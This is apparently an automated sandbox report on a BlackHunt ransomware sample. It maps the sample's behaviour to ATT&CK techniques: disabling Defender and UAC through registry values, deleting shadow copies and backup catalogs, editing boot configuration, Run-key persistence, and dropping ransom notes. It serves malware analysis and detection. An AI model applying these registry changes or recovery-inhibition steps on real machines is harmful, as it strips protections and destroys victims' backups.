f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851

Data Destruction

T1485

pid	Process
3160	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
2100	bcdedit.exe
2684	bcdedit.exe

Renames multiple (329) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
648	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\V:	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened (read-only)	\??\B:	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Y:	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened (read-only)	\??\I:	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened (read-only)	\??\G:	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened (read-only)	\??\M:	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\E:	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened (read-only)	\??\U:	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened (read-only)	\??\S:	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened (read-only)	\??\W:	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened (read-only)	\??\H:	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened (read-only)	\??\K:	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened (read-only)	\??\Z:	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened (read-only)	\??\X:	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened (read-only)	\??\R:	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened (read-only)	\??\P:	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened (read-only)	\??\J:	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened (read-only)	\??\L:	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened (read-only)	\??\Q:	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened (read-only)	\??\T:	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened (read-only)	\??\A:	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened (read-only)	\??\O:	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened (read-only)	\??\N:	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
10	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\localedata.jar	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\invalid32x32.gif	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File created	C:\Program Files\VideoLAN\VLC\locale\az\LC_MESSAGES\#BlackHunt_ReadMe.txt	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\win32\bridge\AccessBridgePackages.h	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File created	C:\Program Files\Java\#BlackHunt_Private.key	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File created	C:\Program Files\Java\jre-1.8\lib\management\#BlackHunt_ReadMe.hta	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File created	C:\Program Files\Reference Assemblies\#BlackHunt_Private.key	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File created	C:\Program Files\VideoLAN\VLC\locale\am\#BlackHunt_ReadMe.txt	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\#BlackHunt_ReadMe.txt	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File created	C:\Program Files\dotnet\host\fxr\6.0.25\#BlackHunt_ReadMe.txt	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kaa.txt	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File created	C:\Program Files\Java\jre-1.8\lib\cmm\#BlackHunt_Private.key	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File created	C:\Program Files\VideoLAN\#BlackHunt_ReadMe.txt	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File created	C:\Program Files\dotnet\host\#BlackHunt_ReadMe.txt	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mng.txt	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\cldr.md	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File created	C:\Program Files\Java\jre-1.8\bin\dtplugin\#BlackHunt_Private.key	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File created	C:\Program Files\Java\jre-1.8\lib\ext\#BlackHunt_ReadMe.txt	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\jpeg_fx.md	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\ant-javafx.jar	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened for modification	C:\Program Files\7-Zip\History.txt	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened for modification	C:\Program Files\7-Zip\readme.txt	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\applet\#BlackHunt_Private.key	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\jopt-simple.md	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\access-bridge-64.jar	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File created	C:\Program Files\Java\jre-1.8\lib\amd64\#BlackHunt_Private.key	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File created	C:\Program Files\VideoLAN\VLC\#BlackHunt_ReadMe.txt	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File created	C:\Program Files\VideoLAN\VLC\locale\af\#BlackHunt_ReadMe.txt	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fur.txt	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\packager.jar	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fi.txt	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ku-ckb.txt	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\icu.md	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_sv.properties	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\jsse.jar	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\pkcs11wrapper.md	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File created	C:\Program Files\VideoLAN\VLC\locale\am\LC_MESSAGES\#BlackHunt_ReadMe.hta	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened for modification	C:\Program Files\7-Zip\Lang\cs.txt	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nb.txt	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn\LC_MESSAGES\#BlackHunt_ReadMe.txt	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hr.txt	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\lcms.md	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\jconsole.jar	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File created	C:\Program Files\dotnet\host\fxr\8.0.0\#BlackHunt_Private.key	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\public_suffix_list.dat	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File created	C:\Program Files\Java\jre-1.8\lib\security\policy\#BlackHunt_ReadMe.hta	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File created	C:\Program Files\Uninstall Information\#BlackHunt_Private.key	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bg\#BlackHunt_ReadMe.hta	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn_IN\#BlackHunt_Private.key	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\#BlackHunt_Private.key	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ar\#BlackHunt_ReadMe.hta	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File created	C:\Program Files\VideoLAN\VLC\locale\az\#BlackHunt_ReadMe.hta	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_pt_BR.properties	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\#BlackHunt_Private.key	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\santuario.md	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File created	C:\Program Files\VideoLAN\VLC\locale\az\#BlackHunt_Private.key	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File created	C:\Program Files\VideoLAN\VLC\locale\be\#BlackHunt_ReadMe.hta	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\relaxngcc.md	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fr.txt	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\icu_web.md	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\dynalink.md	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\jfr\default.jfc	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File created	C:\Program Files\Java\jre-1.8\lib\ext\#BlackHunt_Private.key	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\cacerts	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
5836	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
6072	vssadmin.exe
6100	vssadmin.exe
924	vssadmin.exe
5748	vssadmin.exe
5408	vssadmin.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
Token: SeRestorePrivilege	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
Token: SeBackupPrivilege	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
Token: SeTakeOwnershipPrivilege	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
Token: SeAuditPrivilege	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
Token: SeSecurityPrivilege	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
Token: SeIncBasePriorityPrivilege	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
Token: SeBackupPrivilege	5108	vssvc.exe
Token: SeRestorePrivilege	5108	vssvc.exe
Token: SeAuditPrivilege	5108	vssvc.exe
Token: SeBackupPrivilege	5436	wbengine.exe
Token: SeRestorePrivilege	5436	wbengine.exe
Token: SeSecurityPrivilege	5436	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2032 wrote to memory of 3632	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	91
PID 2032 wrote to memory of 3632	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	91
PID 2032 wrote to memory of 2224	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	96
PID 2032 wrote to memory of 2224	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	96
PID 2032 wrote to memory of 1532	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	93
PID 2032 wrote to memory of 1532	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	93
PID 2032 wrote to memory of 2036	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	95
PID 2032 wrote to memory of 2036	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	95
PID 2032 wrote to memory of 4008	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	98
PID 2032 wrote to memory of 4008	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	98
PID 2032 wrote to memory of 3904	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	101
PID 2032 wrote to memory of 3904	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	101
PID 2032 wrote to memory of 2204	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	103
PID 2032 wrote to memory of 2204	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	103
PID 2032 wrote to memory of 968	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	112
PID 2032 wrote to memory of 968	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	112
PID 2032 wrote to memory of 4988	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	111
PID 2032 wrote to memory of 4988	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	111
PID 2032 wrote to memory of 3976	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	105
PID 2032 wrote to memory of 3976	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	105
PID 2032 wrote to memory of 1840	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	107
PID 2032 wrote to memory of 1840	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	107
PID 2032 wrote to memory of 1480	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	118
PID 2032 wrote to memory of 1480	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	118
PID 2032 wrote to memory of 716	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	113
PID 2032 wrote to memory of 716	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	113
PID 2032 wrote to memory of 3868	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	117
PID 2032 wrote to memory of 3868	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	117
PID 2032 wrote to memory of 2488	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	119
PID 2032 wrote to memory of 2488	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	119
PID 2032 wrote to memory of 2648	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	122
PID 2032 wrote to memory of 2648	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	122
PID 2032 wrote to memory of 4308	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	124
PID 2032 wrote to memory of 4308	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	124
PID 2032 wrote to memory of 3172	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	126
PID 2032 wrote to memory of 3172	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	126
PID 2032 wrote to memory of 4408	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	128
PID 2032 wrote to memory of 4408	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	128
PID 2032 wrote to memory of 5072	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	129
PID 2032 wrote to memory of 5072	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	129
PID 2032 wrote to memory of 2416	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	130
PID 2032 wrote to memory of 2416	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	130
PID 2032 wrote to memory of 2680	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	134
PID 2032 wrote to memory of 2680	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	134
PID 2032 wrote to memory of 1372	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	135
PID 2032 wrote to memory of 1372	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	135
PID 2032 wrote to memory of 1216	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	138
PID 2032 wrote to memory of 1216	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	138
PID 3632 wrote to memory of 4436	3632	cmd.exe	137
PID 3632 wrote to memory of 4436	3632	cmd.exe	137
PID 2032 wrote to memory of 4568	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	151
PID 2032 wrote to memory of 4568	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	151
PID 2032 wrote to memory of 832	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	139
PID 2032 wrote to memory of 832	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	139
PID 2032 wrote to memory of 4432	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	149
PID 2032 wrote to memory of 4432	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	149
PID 2032 wrote to memory of 3064	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	147
PID 2032 wrote to memory of 3064	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	147
PID 2032 wrote to memory of 2844	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	141
PID 2032 wrote to memory of 2844	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	141
PID 2032 wrote to memory of 4024	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	142
PID 2032 wrote to memory of 4024	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	142
PID 2032 wrote to memory of 1688	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	190
PID 2032 wrote to memory of 1688	2032	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe	190

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe
